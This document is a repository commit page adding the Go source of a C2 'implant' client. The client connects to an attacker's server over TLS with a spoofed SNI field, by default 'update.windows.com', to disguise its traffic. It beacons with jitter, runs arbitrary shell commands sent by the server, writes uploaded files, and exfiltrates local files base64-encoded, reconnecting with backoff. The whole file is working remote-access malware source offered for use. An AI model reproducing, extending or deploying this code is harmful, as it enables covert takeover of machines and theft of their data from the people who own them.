forked from ek0mssavi0r/noPROXY_c2s
Upload files to "c2s_sni_spoof/cmd /client"
This commit is contained in:
parent
c2619aa235
commit
534d8b9e03
366
c2s_sni_spoof/cmd /client/main.go
Normal file
366
c2s_sni_spoof/cmd /client/main.go
Normal file
|
|
@ -0,0 +1,366 @@
|
|||
// Command client is the implant side of the SNI-spoofing C2.
|
||||
//
|
||||
// It connects to the C2 server using TLS with a spoofed SNI field
|
||||
// (e.g. "update.windows.com"), beacons periodically, receives commands,
|
||||
// executes them, and sends back results.
|
||||
package main
|
||||
|
||||
import (
|
||||
"crypto/tls"
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"flag"
|
||||
"fmt"
|
||||
"math/rand"
|
||||
"net"
|
||||
"os"
|
||||
"os/exec"
|
||||
"os/signal"
|
||||
"runtime"
|
||||
"sync/atomic"
|
||||
"syscall"
|
||||
"time"
|
||||
|
||||
tlsutil "github.com/openclaw/c2-sni-spoof/pkg/tls"
|
||||
)
|
||||
|
||||
// ---------- Message types (match server) ----------
|
||||
|
||||
type Beacon struct {
|
||||
Type string `json:"type"`
|
||||
Hostname string `json:"hostname"`
|
||||
PID int `json:"pid"`
|
||||
BeaconID int64 `json:"beacon_id"`
|
||||
SNI string `json:"sni,omitempty"`
|
||||
}
|
||||
|
||||
type Command struct {
|
||||
Type string `json:"type"`
|
||||
Payload string `json:"payload,omitempty"`
|
||||
Filename string `json:"filename,omitempty"`
|
||||
Data string `json:"data,omitempty"`
|
||||
BeaconSec int `json:"beacon_sec,omitempty"`
|
||||
ID int64 `json:"id,omitempty"`
|
||||
}
|
||||
|
||||
type Result struct {
|
||||
Type string `json:"type"`
|
||||
Command int64 `json:"command_id"`
|
||||
Output string `json:"output,omitempty"`
|
||||
Data string `json:"data,omitempty"`
|
||||
Error string `json:"error,omitempty"`
|
||||
}
|
||||
|
||||
// ---------- Implant state ----------
|
||||
|
||||
type Implant struct {
|
||||
serverAddr string
|
||||
sniDomain string
|
||||
caFile string
|
||||
hostname string
|
||||
pid int
|
||||
beaconSec int64 // atomic for safe concurrent access
|
||||
beaconID int64
|
||||
conn net.Conn
|
||||
enc *json.Encoder
|
||||
dec *json.Decoder
|
||||
}
|
||||
|
||||
func NewImplant(serverAddr, sniDomain, caFile string, beaconSec int) *Implant {
|
||||
hostname, _ := os.Hostname()
|
||||
if hostname == "" {
|
||||
hostname = "unknown"
|
||||
}
|
||||
return &Implant{
|
||||
serverAddr: serverAddr,
|
||||
sniDomain: sniDomain,
|
||||
caFile: caFile,
|
||||
hostname: hostname,
|
||||
pid: os.Getpid(),
|
||||
beaconSec: int64(beaconSec),
|
||||
}
|
||||
}
|
||||
|
||||
// ---------- Connection management ----------
|
||||
|
||||
func (imp *Implant) connect() error {
|
||||
tlsCfg, err := tlsutil.ClientTLSConfig(imp.sniDomain, imp.caFile)
|
||||
if err != nil {
|
||||
return fmt.Errorf("TLS config: %w", err)
|
||||
}
|
||||
|
||||
conn, err := tls.Dial("tcp", imp.serverAddr, tlsCfg)
|
||||
if err != nil {
|
||||
return fmt.Errorf("TLS dial: %w", err)
|
||||
}
|
||||
|
||||
imp.conn = conn
|
||||
imp.enc = json.NewEncoder(conn)
|
||||
imp.dec = json.NewDecoder(conn)
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (imp *Implant) close() {
|
||||
if imp.conn != nil {
|
||||
imp.conn.Close()
|
||||
imp.conn = nil
|
||||
}
|
||||
}
|
||||
|
||||
// ---------- Main beacon loop ----------
|
||||
|
||||
func (imp *Implant) run() error {
|
||||
if err := imp.connect(); err != nil {
|
||||
return err
|
||||
}
|
||||
defer imp.close()
|
||||
|
||||
fmt.Fprintf(os.Stderr, "[*] implant connected to %s (SNI: %s)\n",
|
||||
imp.serverAddr, imp.sniDomain)
|
||||
|
||||
for {
|
||||
// Build beacon.
|
||||
bid := atomic.AddInt64(&imp.beaconID, 1)
|
||||
beacon := Beacon{
|
||||
Type: "beacon",
|
||||
Hostname: imp.hostname,
|
||||
PID: imp.pid,
|
||||
BeaconID: bid,
|
||||
SNI: imp.sniDomain,
|
||||
}
|
||||
|
||||
// Send beacon.
|
||||
if err := imp.enc.Encode(beacon); err != nil {
|
||||
return fmt.Errorf("send beacon: %w", err)
|
||||
}
|
||||
|
||||
// Receive command.
|
||||
var cmd Command
|
||||
if err := imp.dec.Decode(&cmd); err != nil {
|
||||
return fmt.Errorf("recv command: %w", err)
|
||||
}
|
||||
|
||||
// Process command (noop and ping don't produce a result).
|
||||
switch cmd.Type {
|
||||
case "noop":
|
||||
// nothing to do
|
||||
case "ping":
|
||||
// nothing to do, just continue
|
||||
case "exec":
|
||||
res := imp.handleExec(cmd)
|
||||
if err := imp.enc.Encode(res); err != nil {
|
||||
return fmt.Errorf("send result: %w", err)
|
||||
}
|
||||
case "upload":
|
||||
res := imp.handleUpload(cmd)
|
||||
if err := imp.enc.Encode(res); err != nil {
|
||||
return fmt.Errorf("send result: %w", err)
|
||||
}
|
||||
case "download":
|
||||
res := imp.handleDownload(cmd)
|
||||
if err := imp.enc.Encode(res); err != nil {
|
||||
return fmt.Errorf("send result: %w", err)
|
||||
}
|
||||
case "beacon":
|
||||
if cmd.BeaconSec > 0 {
|
||||
atomic.StoreInt64(&imp.beaconSec, int64(cmd.BeaconSec))
|
||||
res := Result{
|
||||
Type: "result",
|
||||
Command: cmd.ID,
|
||||
Output: fmt.Sprintf("beacon interval changed to %ds", cmd.BeaconSec),
|
||||
}
|
||||
if err := imp.enc.Encode(res); err != nil {
|
||||
return fmt.Errorf("send result: %w", err)
|
||||
}
|
||||
}
|
||||
default:
|
||||
res := Result{
|
||||
Type: "error",
|
||||
Command: cmd.ID,
|
||||
Error: fmt.Sprintf("unknown command type: %s", cmd.Type),
|
||||
}
|
||||
imp.enc.Encode(res)
|
||||
}
|
||||
|
||||
// Sleep for beacon interval, with ±20% jitter.
|
||||
sec := atomic.LoadInt64(&imp.beaconSec)
|
||||
baseSleep := time.Duration(sec) * time.Second
|
||||
jitterMax := baseSleep / 5
|
||||
jitter := time.Duration(rand.Int63n(int64(jitterMax)))
|
||||
if rand.Int63n(2) == 0 {
|
||||
time.Sleep(baseSleep + jitter)
|
||||
} else {
|
||||
time.Sleep(baseSleep - jitter)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ---------- Command handlers ----------
|
||||
|
||||
func (imp *Implant) handleExec(cmd Command) Result {
|
||||
// Determine shell based on OS.
|
||||
shell, shellFlag := "/bin/sh", "-c"
|
||||
if runtime.GOOS == "windows" {
|
||||
shell, shellFlag = "cmd.exe", "/C"
|
||||
}
|
||||
|
||||
execCmd := exec.Command(shell, shellFlag, cmd.Payload)
|
||||
output, err := execCmd.CombinedOutput()
|
||||
if err != nil {
|
||||
return Result{
|
||||
Type: "result",
|
||||
Command: cmd.ID,
|
||||
Output: string(output),
|
||||
Error: err.Error(),
|
||||
}
|
||||
}
|
||||
return Result{
|
||||
Type: "result",
|
||||
Command: cmd.ID,
|
||||
Output: string(output),
|
||||
}
|
||||
}
|
||||
|
||||
func (imp *Implant) handleUpload(cmd Command) Result {
|
||||
if cmd.Filename == "" || cmd.Data == "" {
|
||||
return Result{
|
||||
Type: "error",
|
||||
Command: cmd.ID,
|
||||
Error: "missing filename or data",
|
||||
}
|
||||
}
|
||||
|
||||
data, err := base64.StdEncoding.DecodeString(cmd.Data)
|
||||
if err != nil {
|
||||
return Result{
|
||||
Type: "error",
|
||||
Command: cmd.ID,
|
||||
Error: fmt.Sprintf("base64 decode: %v", err),
|
||||
}
|
||||
}
|
||||
|
||||
if err := os.WriteFile(cmd.Filename, data, 0644); err != nil {
|
||||
return Result{
|
||||
Type: "error",
|
||||
Command: cmd.ID,
|
||||
Error: fmt.Sprintf("write file: %v", err),
|
||||
}
|
||||
}
|
||||
|
||||
return Result{
|
||||
Type: "result",
|
||||
Command: cmd.ID,
|
||||
Output: fmt.Sprintf("uploaded %d bytes to %s", len(data), cmd.Filename),
|
||||
}
|
||||
}
|
||||
|
||||
func (imp *Implant) handleDownload(cmd Command) Result {
|
||||
if cmd.Filename == "" {
|
||||
return Result{
|
||||
Type: "error",
|
||||
Command: cmd.ID,
|
||||
Error: "missing filename",
|
||||
}
|
||||
}
|
||||
|
||||
data, err := os.ReadFile(cmd.Filename)
|
||||
if err != nil {
|
||||
return Result{
|
||||
Type: "error",
|
||||
Command: cmd.ID,
|
||||
Error: fmt.Sprintf("read file: %v", err),
|
||||
}
|
||||
}
|
||||
|
||||
return Result{
|
||||
Type: "result",
|
||||
Command: cmd.ID,
|
||||
Output: fmt.Sprintf("downloaded %d bytes from %s", len(data), cmd.Filename),
|
||||
Data: base64.StdEncoding.EncodeToString(data),
|
||||
}
|
||||
}
|
||||
|
||||
// ---------- Reconnect loop with exponential backoff ----------
|
||||
|
||||
func (imp *Implant) runWithReconnect() {
|
||||
maxBackoff := 5 * time.Minute
|
||||
backoff := 1 * time.Second
|
||||
|
||||
for {
|
||||
err := imp.run()
|
||||
if err != nil {
|
||||
fmt.Fprintf(os.Stderr, "[!] connection lost: %v\n", err)
|
||||
fmt.Fprintf(os.Stderr, "[*] reconnecting in %v\n", backoff)
|
||||
}
|
||||
|
||||
// Wait with backoff, respect interrupt.
|
||||
sleepTimer := time.NewTimer(backoff)
|
||||
|
||||
sigCh := make(chan os.Signal, 1)
|
||||
signal.Notify(sigCh, syscall.SIGINT, syscall.SIGTERM)
|
||||
|
||||
select {
|
||||
case <-sigCh:
|
||||
sleepTimer.Stop()
|
||||
signal.Stop(sigCh)
|
||||
fmt.Println("\n[*] implant shutting down…")
|
||||
return
|
||||
case <-sleepTimer.C:
|
||||
}
|
||||
signal.Stop(sigCh)
|
||||
|
||||
// Exponential backoff with cap.
|
||||
backoff *= 2
|
||||
if backoff > maxBackoff {
|
||||
backoff = maxBackoff
|
||||
}
|
||||
|
||||
// Add jitter (±25%).
|
||||
jitter := time.Duration(rand.Int63n(int64(backoff) / 4))
|
||||
if rand.Int63n(2) == 0 {
|
||||
backoff += jitter
|
||||
} else {
|
||||
backoff -= jitter
|
||||
if backoff < time.Second {
|
||||
backoff = time.Second
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ---------- main ----------
|
||||
|
||||
func main() {
|
||||
serverAddr := flag.String("c2", "", "C2 server address (host:port)")
|
||||
sniDomain := flag.String("sni", "update.windows.com", "SNI domain to spoof")
|
||||
caFile := flag.String("ca", "ca.crt", "CA certificate file for TLS verification")
|
||||
beaconSec := flag.Int("beacon", 10, "beacon interval in seconds")
|
||||
flag.Parse()
|
||||
|
||||
if *serverAddr == "" {
|
||||
fmt.Fprintln(os.Stderr, "error: -c2 flag is required (e.g. -c2 192.168.1.100:8443)")
|
||||
flag.Usage()
|
||||
os.Exit(1)
|
||||
}
|
||||
|
||||
fmt.Fprintf(os.Stderr, "[*] SNI Spoof Implant starting\n")
|
||||
fmt.Fprintf(os.Stderr, "[*] C2: %s SNI: %s Beacon: %ds\n",
|
||||
*serverAddr, *sniDomain, *beaconSec)
|
||||
h, _ := os.Hostname()
|
||||
fmt.Fprintf(os.Stderr, "[*] Hostname: %s PID: %d OS: %s\n", h, os.Getpid(), runtime.GOOS)
|
||||
|
||||
imp := NewImplant(*serverAddr, *sniDomain, *caFile, *beaconSec)
|
||||
|
||||
// Handle interrupt for graceful shutdown.
|
||||
sigCh := make(chan os.Signal, 1)
|
||||
signal.Notify(sigCh, syscall.SIGINT, syscall.SIGTERM)
|
||||
go func() {
|
||||
<-sigCh
|
||||
fmt.Fprintln(os.Stderr, "\n[*] shutting down…")
|
||||
imp.close()
|
||||
os.Exit(0)
|
||||
}()
|
||||
|
||||
imp.runWithReconnect()
|
||||
}
|
||||
Loading…
Reference in New Issue
Block a user